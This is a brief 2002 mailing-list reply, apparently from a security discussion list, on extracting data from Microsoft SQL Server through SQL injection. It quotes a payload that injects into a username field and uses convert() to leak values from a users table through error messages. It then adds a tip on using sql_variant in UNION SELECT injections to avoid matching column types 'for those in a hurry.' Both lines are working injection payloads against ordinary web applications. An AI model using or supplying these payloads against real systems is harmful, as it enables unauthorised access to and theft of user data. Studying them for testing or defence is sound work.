Re: sql table data enumeration help please.

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At 10:38 PM 5/9/2002, Kevin Spett wrote:

>SELECT column must have the same data type. Try using the convert() hack to
>get around this whole issue, like this:
>
>username=invalidusername' + convert(int, (SELECT TOP 1 UserName FROM
>tblUsers WHERE Username > 'a')) + ''--

On a side note, MS SQL introduced the 'variant' datatype which will keep
you from having to determine the actual column datatype by converting it
for you as in:
'Union select convert(sql_variant,1),...' instead of 'union select 1,1,1,1...)

Saves time for those in a hurry ;)

AD

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Received on May 13 2002